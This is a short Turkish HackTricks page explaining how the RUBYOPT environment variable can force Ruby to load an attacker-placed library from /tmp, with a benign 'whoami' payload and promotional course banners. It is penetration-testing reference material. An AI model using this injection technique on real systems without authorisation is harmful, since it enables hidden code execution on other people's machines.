macOS Ruby Applications Injection

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

RUBYOPT

Bu çevre değişkeni kullanılarak ruby her çalıştırıldığında yeni parametreler eklemek mümkündür. -e parametresi ruby kodunu belirtmek için kullanılamasa da, -I ve -r parametreleri kullanılarak yüklenme yoluna yeni bir klasör eklemek ve ardından yüklenmesi gereken bir kütüphane belirtmek mümkündür.

/tmp dizininde inject.rb adında bir kütüphane oluşturun:

inject.rb
puts `whoami`

Herhangi bir yerde aşağıdaki gibi bir ruby betiği oluşturun:

hello.rb
puts 'Hello, World!'

Ardından, keyfi bir ruby betiği oluşturun ve aşağıdaki komutla yükleyin:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Eğlenceli bir gerçek, parametre --disable-rubyopt ile bile çalışır:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated